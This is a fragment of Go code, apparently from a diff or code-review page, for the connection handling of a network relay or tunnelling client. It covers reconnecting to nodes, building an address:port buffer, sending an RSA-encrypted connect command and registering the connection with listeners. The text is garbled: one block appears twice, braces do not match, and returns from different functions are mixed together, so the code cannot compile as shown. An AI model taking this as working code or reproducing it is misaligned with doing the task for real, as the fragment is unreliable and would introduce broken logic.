if !s.checkConnect() {
|
||||
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
|
||||
ports := strconv.Itoa(int(port))
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
s.status = CONN_STATUS_CONNECT
|
||||
return true
|
||||
}
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
return false
|
||||
}
|
||||
ports := strconv.Itoa(int(port))
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
return s.server.isClose == 0
|
||||
}
|
||||
func (s *clientConnect) checkConnect() bool {
|
||||
if s.server.isClose == 1 {
|
||||
//尝试重连
|
||||
if newNode, _ := GetNodeFromAddrs(s.server.reConnectAddrs); newNode != nil {
|
||||
s.server = newNode
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func Bytes2str(b []byte) string {
|
||||
return *(*string)(unsafe.Pointer(&b))
|
||||
return s.status == CONN_STATUS_CONNECT
|
||||
}
|
||||
|
||||
func (s *clientConnect) Remoteclose() {
|
||||
|
||||
Reference in New Issue
Block a user